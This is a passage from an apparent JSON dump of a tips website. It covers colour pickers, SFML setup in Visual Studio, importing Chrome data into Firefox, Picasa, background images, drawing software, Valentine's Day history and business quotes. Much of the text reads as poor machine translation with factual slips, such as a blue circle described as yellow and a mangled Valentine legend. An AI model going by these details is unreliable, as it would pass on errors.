Go to imagecolorpicker.com.\n  Decide whether you want to upload your own image or use an image or website already online. Either method can be used to display a picture or webpage for you to select your desired color. Click \"Upload your image\" if that's what you want to do. Select \"Choose File\" and locate the image in your computer folders. Then click \"Submit\" to upload it. Enter the URL for a website or image, if preferred. You can type out or copy and paste this from your browser. Then click the arrow to load the site.   Click the color you want within the image/site preview. This color will be displayed on the bottom left corner of the screen.\n  Find the hex code listed next to the chosen color. You can copy it and then use that code to match the font color, background color, or other elements in your HTML or CSS project.\n Method 4of 4:\nUsing Pixie Software (for Windows OS)  Install Pixie. It's a tiny utility to find color values of pointed pixel.\n  Run it. Run the program by navigating and clicking it.\n  Move the cursor. Move cursor to the color.\n  Find values of that color. You will see HEX, HTML, RGB etc values of it.\n  Exit from utility by pressing the cross button.\n  Lesley Montoya Update 05 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZp%2BVqXq1tMRmn56wXZi8pbGMqJ1mmV2YvK270Wamp2WppMKzecKopKmtpJq%2Fbr%2FCq5yepg%3D%3D\n","link":"/post/how-to-get-the-hex-code-of-a-color-on-your-computer-screen/","section":"post","tags":null,"title":"How to Get the Hex Code of a Color on Your Computer Screen"},{"body":" Setting up SFML in Visual Studio 2017 or 2019 is similar to setting up SDL, GLFW, freeGLUT, and GLEW, with two peculiarities: there are 29 .lib files and 11 .dll files. It is assumed your platform is Windows. Highlight what you expect to...\nMethod 1of 7:\nConfiguring and Downloading \u0026nbsp;  Highlight what you expect to do. For example see picture above.\n Select the version: \u0026nbsp;Visual Studio Community 2017 or 2019. Check the \"Desktop development with C++\" workload box.  Create the \"GL\" folder. In directory (disk) C:, right click \u0026gt; select New \u0026gt; Folder \u0026gt; type GL ↵ Enter.\n Download the latest stable version of SFML. Right click on following address and select Open Link in New Window https://www.sfml-dev.org/download/sfml/2.5.1/. Click the first \"Download\", the one next to \"Visual C++ 15 (2017) - 32-bit\". In downloading window, click the folder SFML-2.5.1 (or the latest) \u0026gt; right click \u0026gt; Copy. Navigate to C: \u0026gt; GL. In GL folder right click \u0026gt; select Paste. After copying and pasting have finished click on name SFML-2.5.1 and rename to sfml.  Method 2of 7:\nCreating an Empty Project \u0026nbsp; Create an empty project. With Visual Studio 2017 In V.S. main menu, click File. Then go to New \u0026gt; Project… In the left part of the new project window, click Visual C++ if it is not clicked. In the center of the screen click Empty Project. Below that, find the Name text box, type Project-0. Next to Location text box, click Browse... and navigate to C: \u0026gt; GL. Click Select a folder. The Location in New Project window is C:GL. Make sure the Create directory for solution box is not checked. Click OK.  With Visual Studio 2019 If it's not opened. Open it \u0026gt; Click Create a new project \u0026gt; Empty Project \u0026gt; Next. In \"Project name\" text field type: Project-0. Next to \"Location\" text field click .... Navigate to C: \u0026gt; GL \u0026gt; click Select folder. Now \"Location\" is C:GL. Check \"Place solution and project in the same directory\" \u0026gt; click Create. Wait till Visual Studio 2019 instance appears. If it's opened. Click File \u0026gt; New \u0026gt; Project… \u0026gt; Empty Project \u0026gt; Next. The rest as above.   Add a source file to Project. In Visual Studio \u0026gt; Solution Explorer \u0026gt; right click Source Files \u0026gt; Add \u0026gt; New Item... \u0026gt; C++ file (.cpp). Name it Main.cpp. Location should be C:GLProject-0. \u0026gt; click Add. The source file Main.cpp is now in Visual Studio's main area, and is blank. It's okay.  Method 3of 7:\nSetting Up SFML in the Project Open the Project-0 Property Pages window. In Solution Explorer right click the project's name (Project-0) \u0026gt; click Properties. Leave default settings: Configuration: Active(Debug), and Platform: Active(Win32).\n Configure the Additional Include Directories. In Project-0 Property Pages window double click C/C++ \u0026gt; click General \u0026gt; Additional Include Directories \u0026gt; the down arrow at the end of the field \u0026gt; click first icon \u0026nbsp;\u0026gt; .... Navigate C: \u0026gt; GL \u0026gt; sfml \u0026gt; include \u0026gt; Select a Folder. In the Additional Include Directories window, the path should be C:GLsfmlinclude. Click OK.  Configure the Linker \"Additional Library Directories\". In the \"Project-0 Property Pages\" window, double click Linker \u0026gt; click General \u0026gt; Additional Libraries Directories \u0026gt; down arrow at the end of the field \u0026gt; Edit... \u0026gt; \u0026nbsp;first icon \u0026gt; .... \u0026nbsp;Navigate to C: \u0026gt; GL \u0026gt; sfml \u0026gt; lib \u0026gt; Select a Folder. In Additional Libraries Directories window, the path should be C:GLsfmllib. Click OK.  Configure the linker \"Additional Dependencies\". In the \"Linker\" drop down menu, click Input \u0026gt; Additional Dependencies \u0026gt; down arrow at the end of the field \u0026gt; click . Copy the following .lib file names and paste in \"Additional Dependencies\" window's most top text box: opengl32.lib; flac.lib; freetype.lib; ogg.lib; openal32.lib; sfml-audio.lib; sfml-audio-d.lib; sfml-audio-s.lib; sfml-audio-s-d.lib; sfml-graphics.lib; sfml-graphics-d.lib; sfml-graphics-s.lib; sfml-graphics-s-d.lib; sfml-main.lib; sfml-main-d.lib; sfml-network.lib; sfml-network-d.lib; sfml-network-s.lib; sfml-network-s-d.lib; sfml-system.lib; sfml-system-d.lib; sfml-system-s.lib; sfml-system-s-d.lib; sfml-window.lib; sfml-window-d.lib; sfml-window-s.lib; sfml-window-s-d.lib; vorbis.lib; vorbisenc.lib; vorbisfile.lib  In \"Additional Dependencies\" window click OK.  Configure linker SubSystem. In Linker dropdown menu click System \u0026gt; SubSystem \u0026gt; down arrow at the end of the field \u0026gt; select Console (/SUBSYSTEM:CONSOLE) \u0026gt; click Apply and OK.\n Copy .dll files from SFML and paste into the Project-Folder. Navigate to C: \u0026gt; GL \u0026gt; sfml \u0026gt; bin . Inside the bin folder, click the empty area below the .dll files. Keeping the button pressed, move (hover) pointer over all files. Every file should have a light blue background color. Leave left button and with the pointer over background color, right click \u0026gt; select Copy. Navigate to C: \u0026gt; GL \u0026gt;Project-0. Inside, right click and select Paste. Now every .dll file is in project-folder.  Test your project. Right click on following address and select Open Link in New Window https://www.sfml-dev.org/tutorials/2.5/start-vc.php scroll down the page and copy the code. Go to V.S. and paste in Main.cpp code area. Hit Ctrl + F5. Two windows should appear: a black (the console) and a small one with green circle inside. Good job.  Correct any errors. In \"Error List\" if you see error about file with extension .h go to part (Method) 3, step 1, \"Configure the \"Additional Include Directories\"\" and follow instructions. file with extension .lib go to part (Method) 3, step 2, \"Configure the linker \"Additional Library Directories\"\", and follow instructions. Also to step 3, \"Configure the linker \"Additional Library Directories\"\". \"entry point must be defined\" go to step 4, \"Configure linker SubSystem\" and follow instructions. file .dll go to step 5 and follow instructions. For other errors, if you cannot correct them, close Visual Studio \u0026gt; delete project folder Projetc-0 which lives in C:GL \u0026gt; open Visual Studio \u0026gt; repeat set up from part Method 2. Good job.  Method 4of 7:\n\u0026nbsp;Create a project with the Template Create Template. Go to the Visual Studio main menu. While Project-0 is open, click Project \u0026gt; Export Template... \u0026gt; Next.... In \u0026nbsp;Select Template Options window in Template name: text field type SFML \u0026nbsp;\u0026gt; click Finish. The template is created.\n Create Project. With V.S. 2017. Click File \u0026gt; New \u0026gt; Project.... On the New Project window, click template: SFML. In Name text field, type: Project-1. Be sure Create directory for solution is unchecked. Click \u0026nbsp;OK.  With V.S. 2019. Click File \u0026gt; New \u0026gt; Project.... In Create a new project wizard scroll down the list of templates and select SFML \u0026gt; click \u0026nbsp;Next. In Configure your new project wizard, in Project name text field type Project-1. Location should be C:GL. If it's not, click ... at the end of the field. Navigate C: \u0026gt; GL. Folder's name should be SFML. Click Select a folder. Be sure Place solution and project in the same directory is checked. Click Create.   Copy the .dll files from bin folder as above, and paste them in the project folder Project-1.\n In Solution Explorer. Double click Source Files \u0026gt; double click Main.cpp. (If the code does not appear, delete this file and create another with same name, copy above code and paste in code area). In the Main.cpp code, go to line 7 and rename Color::Green to Color::Blue. Click Ctrl+F5. Now the circle in small window should be yellow. Try to correct any errors if they occur. If you fail, repeat the steps above.\n Method 5of 7:\nCreating Project to target x64 Platform Create folder GL as above.\n Download the latest stable version of SFML 64 bit. Right click on following address and select Open Link in New Window https://www.sfml-dev.org/download/sfml/2.5.1/. Click the \"Download\", next to \"Visual C++ 15 (2017) - 64-bit\", the first in right column. In downloading window, click the folder SFML-2.5.1 (or the latest) \u0026gt; right click \u0026gt; Copy. Navigate to C: \u0026gt; GL. In GL folder right click \u0026gt; select Paste. After copying and pasting have finished click on name SFML-2.5.1 and rename to sfml.  Create project with name Project-2, and add Main.cpp file as above.\n Project's Property settings. Go to \"Solution Explorer\" \u0026gt; right click on the name of your project \u0026gt; select \"Properties\". In Platform: entry, choose x64 \u0026gt; Click Configuration manager... In Active solution platform: select x64 In Platform entry select x64 Click Close  The rest as above. Tip: Even if in Property Pages main settings it is Platform: x64, click Configuration manager... and in Active solution platform: select x64.  Create template. As above. TIP: In every project you create with it, select x64 (next to Debug) in Visual Studio's GUI.  Method 6of 7:\nCompiling Source Code with CMake and Visual Studio Compiling a library from the source code benefits twofold. Guarantees that the resulting library is perfectly tailored for your CPU/OS, a luxury pre-compiled binaries don't always provide, and that binaries you get target x64 platform.\n  Highlight what you expect to do. For example see picture above.\n Create folder GL. In Windows File Explorer, in directory C:, right click on empty area \u0026gt; select New \u0026gt; Folder \u0026gt; type: GL \u0026gt; hit ↵ Enter.\n  Download CMake. Right-click on following address and select Open Link in New Window https://cmake.org/download/. Scroll down the page (see image above). Under \"Latest Release (today is 3.16.2)\" on the second \"Platform\" list, find \"Windows win64-x64.ZIP\" and click the beside entry (today is cmake-3.16.2-win64-x64.zip \u0026gt; in opening wizard select Save file.\n Copy and unzip the zip folder. In downloading window, click folder \u0026gt; right click \u0026gt; in drop-down menu select Copy. Navigate to directory C: \u0026gt; GL \u0026gt; right click \u0026gt; select Paste. When copying and unzipping (extracting files) is finished, double click unzip folder cmake-3.16.2-win64-x64 (or latest version) \u0026gt; bin \u0026gt; inside you should see CMake's logo next to file name cmake-gui \u0026gt; double click this file. If wizard \"Windows protect your PC\" appears, click More information \u0026gt; Run anyway. Now on your screen you have CMake GUI. Each time you need CMake, navigate to C: \u0026gt; GL \u0026gt; cmake-3.16.2-win64-x64 (or latest version) \u0026gt; bin \u0026gt; double click file cmake-gui (the one with CMake's logo).  Download source code. Right-click on following address and select Open Link in New Window https://www.sfml-dev.org/download/sfml/2.5.1/. Scroll down to the bottom, in All select Source code and click Download 22.2 MB.\n Copy and unzip folder. In downloading window click zip folder SFML-2.5.1-sources.zip (or latest version) \u0026gt; right click \u0026gt; select Copy. Navigate to C: \u0026gt; GL \u0026gt; right click \u0026gt; select Paste. Now in directory C:GL, you have unzip folder SFML-2.5.1. Click twice on its name \u0026gt; delete name \u0026gt; type SFML \u0026gt; hit ↵ Enter.  Where is the source code. Copy C:/GL/SFML and paste in CMake GUI first text field.\n Where to build the binaries. Copy C:/GL/SFML/build and paste in second text field.\n Configure and generate. In CMake GUI, click Configure \u0026gt; in wizard Create Directory click Yes \u0026gt; click Finish. When, in CMake GUI, you read: \"Configuring done\", click Generate. You should read: \"Generating done\".  Build your solution. Navigate to C: \u0026gt; GL \u0026gt; SFML \u0026gt; build. Double click \"SFML.sln\", or \"SFML\", or \"ALL_BUILD.vcxproj\". An instance of Visual Studio appears. In the main menu, click \"Build\" \u0026gt; \"Build Solution\". Wait till you read the last line in \"Output\" window: ========== Build: 8 succeeded, 0 failed, 0 up-to-date, 1 skipped ========== TIP: Number of \"succeeded\" changes in SFML versions. Today (28-1-2020) is 8.   Create an empty project. Click 'File \u0026gt; New \u0026gt; Project… \u0026gt; Create a new project \u0026gt; Empty project \u0026gt; Next. In Project name text box type: pb-0. Next to Location text box, click .... Navigate to C: \u0026gt; GL \u0026gt; Click Select a folder. The Location is C:GL. Check box Place solution and project in the same directory. Click Create.  Add your source file to the Project. In Solution Explorer wizard, right click the Source Files folder (the last one) \u0026gt; click Add \u0026gt; New Item… In the Add New Item - pb-0 window, click C++ File (.cpp) (the first one) from the middle of the window. In the Name text box, type Main.cpp. The Location is C:GLpb-0. Click the Add button. The file will open in the main text editor but leave it blank for now.  Configure project's Properties. In Solution Explorer wizard, right click Project's name that is pb-0 \u0026gt; select Properties. (1) pb-0 Property Pages main menu. In Platform entry select x64 \u0026gt; click Configuration Manager.... In Active solution platform: select x64. In Platform entry, x64 is automatically selected. Click Close.  (2) Additional Include Directories. Click C/C++ \u0026gt; General \u0026gt; In beside menu select the first one, Additional Include Directories \u0026gt; click the down arrow at the end of the field \u0026gt; click Edit... \u0026gt; first icon \u0026gt; three dots ... Navigate to C: \u0026gt; GL \u0026gt; SFML \u0026gt; include \u0026gt; click include \u0026gt; click Select a folder \u0026gt; click OK.  (3) Additional Library Directories. Double click Linker \u0026gt; click General \u0026gt; Additional Library Directories \u0026gt; click the down arrow at the end of the field \u0026gt; click Edit... \u0026gt; first icon \u0026gt; three dots .... Navigate to C: \u0026gt; GL \u0026gt; SFML \u0026gt; build \u0026gt; lib \u0026gt; Debug. Click Select a folder \u0026gt; click OK. In Additional Library Directories wizard path should be C:GLSFMLbuildlibDebug.  (4) Additional Dependencies. In Linker drop-down menu select Input \u0026gt; in beside menu select the first one, Additional Dependencies \u0026gt; click the down arrow at the end of the field \u0026gt; Edit... \u0026gt; copy opengl32.lib; sfml-audio-d.lib; sfml-graphics-d.lib; sfml-main-d.lib; sfml-network-d.lib; sfml-system-d.lib; sfml-window-d.lib and paste in Additional Dependencies wizard's upper-most text box \u0026gt; click OK. (5) Set System to SubSystem CONSOLE. In Linker drop-down menu select System \u0026gt; in beside menu select the first one, SubSystem \u0026gt; click the down arrow at the end of the field \u0026gt; select Console (/SUBSYSTEM:CONSOLE). Click Apply and OK.  Copy dll files and paste in pb-0 project. In File Explorer click File \u0026gt; Open new Window. In new (second) window navigate to C: \u0026gt; GL \u0026gt; SFML \u0026gt; build \u0026gt; lib \u0026gt; Debug, and copy (by right click \u0026gt; Copy), one by one, all 5 (five) dll files, and paste in first window C: \u0026gt; GL \u0026gt; pb-0. Now in project folder pb-0 you have the 5 DLL files among Source.cpp and other 4 files created by Visual Studio.\n Test your project and correct errors if any. As above, see Method 3 Setting Up SFML in the Project.\n Create Template with pb-0 project. As above, Method 4 Create a project with the Template. Remember in every project you create with this template select x64 in Visual Studio's GUI. copy DLL files from previous project and paste in new.  Method 7of 7:\nChoosing Set Up In this tutorial you learn 3 was to set up SFML in Project with Visual Studio. Set up binaries x86 (32 bits). It's the easiest. You should start learning set up from here. Set up binaries x64 (64 bits). It targets x64 platform. Choose it only when you have specific reason for doing so. Compile SFML source, and set up in project. Targets x64 too.The most difficult. The best though.   Samuel Daniel Update 05 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZquVqXq2vIysnaakXZ67bq2MqamoopWYwW67zWatoqullrluv9Oum6Kn\n","link":"/post/how-to-set-up-sfml-in-a-project-on-visual-studio/","section":"post","tags":null,"title":"How to Set Up SFML in a Project on Visual Studio"},{"body":"If you intend to switch to Firefox Quantum from Chrome, Firefox can import bookmarks, saved passwords, browser history and cookies directly from Google Chrome. It can also import this data from Microsoft Edge or Internet Explorer.\nInstructions for syncing Google Chrome data on multiple devices Sync bookmarks , passwords, history and cookies Firefox often prompts users to enter data when installing for the first time. However, if you have installed Firefox before and want to import data, users will need to do it manually. The Import Browser Data tool is in the Bookmarks Manager window.\nTo access Bookmarks Manager, click the library icon on the toolbar and click Bookmarks\u0026gt; Show All Bookmarks or press Ctrl + Shift + B.\n  Click the Import and Backup button on the toolbar and select Import Data From Another Browser . (If you only want to import the exported bookmarks from Chrome or another browser as an HTML file, users just need to click Import Bookmarks from HTML and then select the HTML file.)\n  Select Chrome in the Import Wizard and click Next to import data from Google Chrome, making sure all Google Chrome browser windows are closed before proceeding.\n  The user will be prompted to select the data to import. If you have set up multiple Chrome browser profiles, it will first ask for the configuration you want to import. By default, Firefox will enter cookies, browsing history, saved passwords and bookmarks, you can uncheck any of these options to enter only certain types of data.\n  Firefox will enter data and notifications when successful sync. Chrome's bookmarks will be placed in the From Chrome folder in the menu and the bookmark toolbar, but users can reorganize bookmarks in their own way.\nDownload add-ons Firefox can't import other data like utilities, users have to find the equivalent extensions in the Firefox add-on library. If using a popular add-on from a large company, users can find an extension version for Chrome created by the same developer. Small, independent extensions may not be available for both browsers, but a similar extension may be found.\n15 useful add-ons for Firefox Synchronize Firefox browser data with computer Firefox has a browser synchronization feature that can hold data on multiple computers, phones and tablets. Check Firefox Sync settings by clicking menu\u0026gt; Options\u0026gt; Firefox Account . If you haven't logged in with your Firefox account, users can create an account to start syncing data.\nSign in with the same Firefox account on all devices and data will be synced, just like with Chrome. Firefox syncs open tabs, history, bookmarks, logins, add-ons. So once Firefox has been set up, it will sync your personal preferences with all other computers.\nSync bookmarks, extensions and other browser data between computers   Users also receive this data on phones or tablets. Firefox provides Apple's iPhone and iPad apps as well as Google's Android and also syncs bookmarks, open tabs, saved passwords and history on mobile devices.\nWith Firefox Quantum, Firefox uses Google as its default search engine. Yahoo! No longer the default, so don't worry about that change.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqyilru0ssSrZJqknGKxosDAZp2rp51isKm%2BzqacZqyfYrOqvsSfprE%3D\n","link":"/post/how-to-transfer-all-data-from-chrome-to-firefox/","section":"post","tags":null,"title":"How to transfer all data from Chrome to Firefox"},{"body":"Picasa is a free image viewer software with a small size, you can easily view images. Picaso supports many functions such as: viewing images, processing images, sharing, making movies from images . You can view images more vividly than other image viewing software.\nThe following article introduces the Picasa photo viewer:\n- You can download and install Picasa software quickly on your computer.\n- Simple and intuitive interface makes it easy for you to handle.\n  - The program will automatically launch and download all image files contained in the computer and put into centralized management in Picasa. But this file is managed over time and the real directory.\n  - Browse and view images as thumbnails and details, click the image you want to view, you can also press Play to show images.\n  - To stitch the images together, open the image and then select Create -\u0026gt; Picture Collage .\n  - You can crop photos, adjust the brightness, effects for photos . using the tabs as shown below.\n  - You can create a short video from images available on the computer simply and quickly. Select Create -\u0026gt; Video -\u0026gt; From Selection .\n  - To share photos, you can click Share under the image and login to your Google account to share on the internet.\n  In addition, Picasa also offers many features that can suit your needs. You can fully view photo editing quickly. With the features of Picasa, Picasa can be considered as a free photo viewer software.\nncG1vNJzZmismaXArq3KnmWcp51kvaqvwKyYZqiYpMGwedWinLChnpx6tLvFra6aqpViwamxjJucrKxdm7%2BmsYypn6isn2K6orrAoJyr\n","link":"/post/picasa-photo-viewing-software-the-best-free-photo-manager/","section":"post","tags":null,"title":"Picasa photo viewing software, the best free photo manager"},{"body":"Pattern - motif is one of the oldest present decoration ever. With the motifs, they are very simple but not boring even though they are repeated. In this article, Software Tips will send you the most beautiful patterned background images.\n    Photo Background beautiful classical pattern\n  Photo Background vintage pattern\n  Photo Background cute pattern\n  Photo Background beautiful pattern\n  Photo Background the most beautiful simple pattern\n  Photo Background beautiful simple pattern\n  Photo Background simple pattern\n  Photo Background modern pattern\n  Photo Background texture pattern\n  Photo Background simple luxury pattern\n  Photo Background luxury pattern\n  Photo Background Vintage pattern\n  Vintage simple background\n  Beautiful modern background\n  Beautiful vintage pattern background\n  Simple vintage pattern background\n  Vintage patterned background\n  Beautiful patterned background\n  Background simple classic pattern\n  Beautiful simple pattern background\n  Simple but beautiful patterned background\n  Simple pattern background\n  The most beautiful patterned background\n  Beautiful patterned background texture\n  Simple pattern texture background\n  Modern patterned texture background\n  Luxury patterned background\n  Pattern texture background\n  Background with colorful patterns\n  Luxury patterned background\n  Beautiful heart pattern background\n  Vintage pattern background\n  The most beautiful simple texture Background image\n  Background pattern texture pattern\n  Background pattern of antique electric pattern\n  Background image vintage pattern\n  Background Image beautiful modern simple pattern\n  Background Image modern simple pattern\n  Pattern Background pattern texture\n  Background pattern with leaves\n  Background color pattern\n  Pattern Background image\nIn the article are very beautiful and simple background pattern images with high resolution. Have a nice day!\nncG1vNJzZmismaXArq3KnmWcp51kwLq606GcraGTYq%2BmrdStoJ%2BtnGK9osDTnqmnZZKWsKyz0aisp5w%3D\n","link":"/post/synthetic-beautiful-pattern-background/","section":"post","tags":null,"title":"Synthetic beautiful pattern background"},{"body":"Auxiliary equipment for computer drawing such as electronic drawing board, screen drawing board, color scroll wheel, . are great helpers for today's technology painters. In this article, Software Tips will send to you the Top 5 best painting software on the computer.\n  Pentool SAI is one of the rare tools on the market today pursuing traditional drawing with very fine lines adapted from pencil strokes, brush strokes, . The highlight of Pentool SAI is that connected to electronic drawing board devices to support drawing is much faster and more practical than using a mouse to draw. However, Pentool SAI has a major advantage in drawing anime and hand-drawing, so it is only suitable for a certain group of people. If you have the talent to draw Anime, Pentool SAI will be one of the great assistants to support you to create your own products. Pentool SAI in Vietnam is also famous for having active supportive communities that help people exchange, add knowledge and share skills.\nHomepage: https://www.systemax.jp/en/sai/\n2. Adobe Illustrator In recent years, the trend of painting in the form of Flat (2D paintings) has flourished and the Adobe Illustrator tool has become the favorite tool of the creators of Flat paintings. The product suite from Adobe has never let us down and so does Illustrator when using the Vector drawing system. Other than drawing with a mouse, with an electronic drawing board, Illustrator uses Click and hold the mouse to draw. This helps those who are not skilled can create a unique picture for themselves, only if they have an aesthetic and meticulous eye. Illustrator can be linked to a lot of software and the pen strokes resource resource on Illustrator can never be used up because they are provided by many websites and users.\nHomepage: https://www.adobe.com/products/illustrator.html\n3. Adobe Photoshop Adobe Photoshop is similar to other traditional Pixel painting software on the market, except that it is the national image editing software in Vietnam. People only write to Photoshop as an image editing tool, but few know this is also one of the most famous drawing tools in the world. Don't believe it, check out the products drawn from Photoshop. With an immense source of data resources from pages providing Brush, Plugin makes Photoshop draw on many diverse topics and meet all the needs of the artist.\nHomepage: https://www.adobe.com/products/photoshop.html\n4. Krita   Krita is known as the most popular drawing tool of artists using electronic drawing boards and color rollers. Thanks to the software algorithm is fine-tuned to help connect devices correctly and without delay (delay) makes the hand operation as smooth and accurate as possible. Krita also has a huge resource and is updated regularly by artists from amateur to professional. Products created from Krita have very beautiful colors thanks to the intelligent color system and combination with electronic color rollers.\nHomepage: https://krita.org/en/\n5. MediBang Paint Pro   MediBang Paint Pro is known as the most famous comic drawing tool in Japan - the land of comics. With a system of tools optimized exclusively for comic book production, few software on the market can \"directly\" interact with MediBang Paint Pro. Famous manga in Japan today are still drawing with MediBang Paint Pro and in the future MediBang Paint Pro will grow much more than just comic book software. If you are still curious about the \"divine\" level of MediaBang Paint Pro, you can visit Twitter to see the products updated by the hour.\nHomepage: https://medibangpaint.com/en/\nIn this article, Trick Software has sent to you the Top 5 best drawing software on the computer today. Have a nice day!\nncG1vNJzZmismaXArq3KnmWcp51kwbC8jG5km52jqXqxrcinq6Kml2LAsLLTsJirnV2ku27Ax55knKedpcK1sdE%3D\n","link":"/post/top-5-best-painting-software-on-the-computer/","section":"post","tags":null,"title":"Top 5 best painting software on the computer"},{"body":"On every occasion of Valentine, people often see lovers celebrate together, giving meaningful gifts and expressing sweet affection for each other. However, not everyone really knows what Valentine's Day is, what it means and how many Valentine's Days are there ? If you are one of them, please immediately refer to the following sharing of TipsMake.com!\ncontent What is Valentine's Day? Meaning of Valentine's day Origin of Valentine's day Where does Valentine come from?  What Valentine's Day? What is Valentine's Day? Valentine's Day (English name is Valentine's Day, Saint Valentine's Day) is also known as Valentine's Day, Valentine's Day. It is named after Saint Valentine - one of the first Christian martyrs.\nMeaning of Valentine's day What does Valentine's Day mean? Surely many of you here have somewhat guessed the meaning of this day. Valentine is an opportunity for the whole world to honor the love of couples, the affection between couples and broader than the friendship of the opposite sex. When coming to Valentine, people express their love to each other through sweet wishes or meaningful gifts such as cards, roses, chocolates and some other special gifts.\n  Valentine - a day to honor the love of a couple\nOrigin of Valentine's day There are many theories about the origin of Valentine's Day, but the most accepted one is the story of a priest named Valentine under Roman Emperor Claudius II.\nBy the 3rd century, the Roman Empire had to participate in many bloody wars and unpopular support. At that time, due to difficulty in calling young men to join the army, Emperor Claudius II argued that Roman men did not want to leave their families or lovers, marriage only weakened men. soft. Because of this thought, Claudius II ordered people to be banned from holding an engagement ceremony or a wedding to focus their attention on the war.\nThe King's decree once again met with opposition from many, including Valentine priests in Rome and St. Marius. They continue to celebrate the wedding ceremony for young couples in secret. Shortly after, this was discovered, Father Valentine was arrested and sentenced to death by dragging and stoned to death on February 14, 273. However, in the afternoon before his graduation, he sent the first 'Valentine card' to the daughter of prison guard Asterius - a blind young girl who had been miraculously healed by him. On the card sent by Father Valentine signed 'dal vostro Valentino' (translated from From your Valentine - from my Valentine). Gradually, February 14 every year became the day when couples exchanged messages of love. St. Valentine has since become the patron saint of couples.\nWhere does Valentine come from? Previously, Valentine was just a holiday in North America and Europe. But later, it was held popular in most countries around the world, including our Vietnam.\nIn some Eastern countries such as China and Japan, in addition to Valentine, people also have their own Valentine's Day celebrated on the day of the Fall (July 7 of the lunar calendar every year).\n  Valentine is celebrated in many countries around the world\nWhat Valentine's Day? Traditionally, Valentine only has 1 single day on February 14th every year. However, you know, love that! A Valentine's Day doesn't seem to be enough for people to show their affection to each other. For that reason, in addition to February 14 every year, people have organized two more Valentine's Day on March 14 and April 14. So what is Valentine's Day February 14, March 14 and April 14?\nRed Valentine Red Valentine is a traditional Valentine's Day, celebrated on February 14 according to the 'legend' about Saint Valentine. This is an opportunity for people to express their love to the other half through gifts, sweet wishes.\n  Red Valentine - traditional valentine's day\nWhite Valentine What is White Valentine's Day? White Water Valentine originated from? In fact, White Valentine (or White Day, White Valentine) is celebrated on March 14th every year, exactly one month after Red Valentine's Day. White Valentine originates from Japan - the land of the rising sun. The story goes that, in 1965 in Japan, a boy selling marshmallow gave a girl secretly remembering himself a large, snowy white candy box in return for her love on Red Valentine's Day.\nWhite Valentine's Day was quickly welcomed by young people. On this day, the boys will return the affection of the girl they love all the time with a meaningful gift or touching words. As for the girls, White Valentine is probably a 'full of suspense and expectation' because they all expect to receive a gift of affirmation from the guy they love.\n  White Valentine originates from the land of the rising sun\nBlack Valentine Black Valentine - sounds 'a little sad' and 'unlucky' isn't it? Is this a day for broken love stories? The truth is not so! Black Valentine originated from Korea, took place on April 14. Unlike Red Valentine and White Valentine, Black Valentine is a day reserved for members of the Single Society (FA). On this occasion, young people who are still lonely in the land of Kim Chi will invite each other to eat black noodles (Jajangmyun) as a way to assert that 'What about the FA? FA is not really boring! '\n  Black Valentine - the day dedicated to celibacy\nHopefully our article will help you better understand what Valentine's Day is and its meaning and origin. Another Valentine's season is coming soon, hopefully you will always be happy regardless of whether you are FA or have a couple!\n\u0026gt;\u0026gt;\u0026gt; Maybe you are interested in:\nPhotoshop - Create romantic cards for Valentine's Day The confession made her immediately agree to Valentine's Day ncG1vNJzZmismaXArq3KnmWcp51kxKmt02agrGWmlrmmutOipZ6rXZmuunnMnpinoZ6cerCyjK%2BYpZ2eqbavsdJmm5qx\n","link":"/post/what-is-valentine-s-day-meaning-of-valentine-s-day/","section":"post","tags":null,"title":"What is Valentine's Day? Meaning of Valentine's day"},{"body":"To honestly admit that starting a business is not simple. Even if you have done a very thorough market research and filtered the idea for months, the decision to really start working, dare to step through the \"trust jump\" and leave behind the job is fine. It is a difficult decision to set foot in the world of startups.\n  The long journey ahead can be very arduous and the possibility of failure also makes you more afraid, but what the great men advise you to do not let the fear hold. Sometimes sayings from successful entrepreneurs can provide a strong source of motivation , as a guarantee that starting a business is also starting to partake in something great.\nEven if you print quotes that really match your place in the workplace or use it as a mantra, there is always a lot to say about inspiring quotes as well as many ways to use them. Here are 10 statements that can help you get started on your business idea today.\n  \"The way to start is to stop talking and start working.\" - Walt Disney.\nThere is no argument, the Walt Disney Company - one of the most famous companies in the world - starts with only one man. Well known for his incredible storytelling, Walt Disney is also known for its precise statement.\n  \"Good idea never lacks, but the lack of someone is ready to make it a reality\" - Seth Godin.\nSeth Godin is an American entrepreneur, a speaker and an author. He is famous for his own personal blog site, where you can find more of his thoughts.\n  \"If you don't feel ashamed of the first version of the product, it means you've made it too late.\" - Reid Hoffman.\nReid Hoffman is the co-founder and CEO of LinkedIn. Hoffman is now a partner of venture capital firm Greylock Partners and is also a Facebook supporter in the early days.\n  \"Accept what you don't know from the beginning because what you don't know can become the biggest asset you have\" - ​​Sara Blakely.\nThe youngest female millionaire to make a career from scratch (according to Forbes), founder of Spanx Sara Blakely certainly knows a little about how to do business successfully.\n  \"If you don't work with things you like and are really passionate about, you don't have to plan how things will end\" - Mark Zuckerberg.\nMaybe a little introduction about Mark Zuckerberg. As the big brain behind Facebook, he was also named in the list of the 6 richest people in the world. He is also famous for his impressive statements about how to use the business to change the world.\n  \"I have a belief that business can be fun when it is done with love and a strong motivation to bring good things\" - Anita Roddick.\nDame Anita Roddick is an English entrepreneur, human rights activist and environmental campaigner. Roddick founded The Body Shop (she eventually sold for £ 625 million) and also pioneered ethical issues.\n  \"I believe in what makes the difference between successful entrepreneurs and those who don't, half is due to perseverance\" - Steve Jobs.\nSteve Jobs must be one of the leading entrepreneurs of all time. The founder of Apple is well researched in the movie Steve Jobs and there is no doubt that he is one of America's great reformers.\n  \"What do you need to start a business? The answer is only 3 simple things: understand your product more than anyone, understand customers and have a burning desire to succeed\" - Dave Thomas.\nDave Thomas is behind the most popular fast-food chain in the US - Wendy and his name is also used for TV characters in the restaurant's ad chain.\n  \"Don't worry about failing because you're only one time right\" - Drew Houston.\nAmerican \"serial\" startup Draw Houston has worked with many star-ups before co-founding Dropbox at the age of 24. As CEO, he helped develop the brand to $ 10 billion.\n  \"Business opportunities as well as buses, there is always another one coming\" - Richard Branson.\nThis is the most suitable way to end this article, Richard Branson is probably the most famous British entrepreneur and is definitely one of the most admired people. Starting business at age 16 and since then, he has built Virgin Group into a powerful empire. Not surprisingly, he is always considered the hero of start-ups.\nAuthor: Lucy 